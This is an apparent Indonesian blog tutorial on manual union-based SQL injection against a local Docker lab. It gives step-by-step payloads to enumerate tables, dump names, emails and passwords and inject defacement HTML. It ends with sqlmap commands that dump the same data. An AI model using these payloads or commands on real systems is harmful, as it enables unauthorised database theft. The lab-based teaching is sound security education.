Tutorial Basic SQL Injection Manual Lengkap
Tutorial Basic SQL Injection Manual Lengkap. Yooo… kali ini saya mau sharing sedikit tentang bagaimana cara melakukan injeksi manual pada website yang rentan terhadap serangan SQL Injection. Ya anggap saja ini biar kita paham dengan konsepnya, meskipun saat ini kalian bisa melakukan injeksi menggunakan tools seperti SQLmap maupun Havij. Oh iya, di tutorial ini yang akan saya bahas adalah SQL Injection manual yang dasar dan umum banget (Union Based SQL Injection). Jadi gak ada firewall di server target, jadi gak perlu bypass WAF.
Ada beberapa step yang harus diikuti namun saya coba untuk merangkumnya dalam bahasa yang sederhana ya. Mudah-mudahan bisa diikuti.Lab Setup
docker run --rm -it -p 127.0.0.1:1337:80 linuxsec/sqli-labs
Target kita kali ini berlokasi di http://127.0.0.1:1337/data.php. Jika kalian bisa mengakses halaman tersebut di browser, maka kalian sudah siap untuk lanjut ke tutorialnya.
Oke lab sudah siap. Saatnya kita lanjut ke tutorial cara eksploitasi kerentanan SQL Injection.
Step 1 – Mengkonfirmasi Kerentanan
Langkah pertama adalah mengkonfirmasi kerentanan. Caranya adalah penambahkan karakter khusus di parameter url. Biasanya karakter yang sering dipakai untuk mengkonfirmasi SQL Injection adalah tanda petik ('), meskipun tidak menutup kemungkinan pada beberapa kasus special character lain seperti \, ), dan " juga bisa dipakai untuk men-trigger error pada halaman yang rentan terhadap SQL Injection.
Berikut contoh halaman yang rentan terhadap SQL Injection sebelum ditambahkan tanda kutip.
- http://127.0.0.1:1337/data.php?id=2
Dan berikut tampilan ketika ditambahkan tanda petik pada parameter id.
- http://127.0.0.1:1337/data.php?id=2'
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''2''' at line 1.
Pesan error diatas dapat menjadi indikasi bahwa web ini memiliki kerentanan SQL Injection.
Oke kita sudah melewati tahap pertama yakni mengkonfirmasi atau mendeteksi kerentanan. Lanjut ke tahap kedua.
Step 2 – Menentukan Comment
Balancing yang sering dipakai sendiri adalah:
- -- : MySQL Linux Style
- --+ : MySQL Windows Style
- # : Hash (URL encode while use)
- --+- : SQL Comment
- ;%00 : Null Byte
- ` : Backtick
Step 3 – Menentukan Jumlah Columns
- 2' order by 1--+- : Normal
- 2' order by 2--+- : Normal
- 2' order by 3--+- : Normal
- 2' order by 4--+- : Error
Step 4 – Menemukan "Angka Ajaib"
2' union select 1,2,3--+-
Step 5 – Melihat Informasi Database
2' union select 1,@@version,3--+-
- @@version — menampilkan Versi database
- user() — menampilkan Nama User database
- @@hostname — menampilkan Hostname
- @@tmpdir — menampilkan Direktori temp
- @@datadir — menampilkan Direktori data
- @@basedir — menampilkan Direktori base
- database() — menampilkan Nama Database
- schema() — menampilkan Database yang dipakai
- session_user() — menampilkan Session User
2' union select 1,concat(@@version,0x3a,schema()),3--+-
- https://magictool.ai/tool/text-to-hex-converter/
Step 6 – Memunculkan Nama Table
2' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+-
Step 7 – Memunculkan Daftar Columns
2' union select 1,group_concat(column_name),3 from information_schema.columns where table_name="Users" --+-
Step 8 – Memunculkan Data dari Columns
2' union select 1,group_concat(id,0x3a,Name,0x3a,Age,0x3a,Rank,0x3a,Email,0x3a,Password),3 from Users --+-
Misc – Formatting Output
2' union select 1,group_concat('Name:+',Name,'<br>Email:+',Email,'<br>Password:+',Password,'<br>------</br>'),3 from Users --+-
2' union select 1,group_concat('<h1>Injected by LinuxSec</h1>','Name:+',Name,'<br>Email:+',Email,'<br>Password:+',Password),3 from Users where Email="[email protected]"--+-
Behind The Scene
SELECT Name, Age, Rank FROM Users WHERE id='2';
SELECT Name, Age, Rank FROM Users WHERE id='2' union select 1,group_concat(Name,0x3a,Email,0x3a,Password),3 from Users;-- -'
Material
- https://hub.docker.com/r/linuxsec/sqli-labs
- https://github.com/yuyudhn/SQLi-Labs-Docker
docker run --rm -it -p 1337:80 linuxsec/sqli-labs
Bonus: Automate with SQLMap
sqlmap -u "http://127.0.0.1:1337/data.php?id=2"
Salah satu teknik yang bisa digunakan adalah UNION query. Kita bisa coba ekstrak list database nya menggunakan perintah:
sqlmap -u "http://127.0.0.1:1337/data.php?id=2" --technique=U --dbs
Sama seperti yang kita lakukan di cara manual, kita disini akan mengekstrak data dari database evangelion_sqli. Disini kita akan cek list table yang ada di database tersebut:
sqlmap -u "http://127.0.0.1:1337/data.php?id=2" --technique=U -D evangelion_sqli --tables
Oke, selanjutnya, kita akan mencoba melihat list kolom dari table Users.
sqlmap -u "http://127.0.0.1:1337/data.php?id=2" --technique=U -D evangelion_sqli -T Users --columns
Lanjut, setelah list kolom nya terlihat, disini kita akan melakukan dump data dari kolom Name, Email, dan Password. Command nya adalah:
sqlmap -u "http://127.0.0.1:1337/data.php?id=2" --technique=U -D evangelion_sqli -T Users -C Name,Email,Password --dump
Mudah bukan?
- https://www.owasp.org/index.php/Comment_Injection_Attack
- http://www.securityidiots.com/Web-Pentest/SQL-Injection/Part-3-Basic-of-SQL-for-SQLi.html
- https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/
- https://www.exploit-db.com/papers/13045


























Posting Komentar untuk "Tutorial Basic SQL Injection Manual Lengkap"
Posting Komentar
Silahkan tinggalkan komentar jika ada masukan, pertanyaan, kritik ataupun dukungan. Namun pastikan untuk berkomentar secara sopan.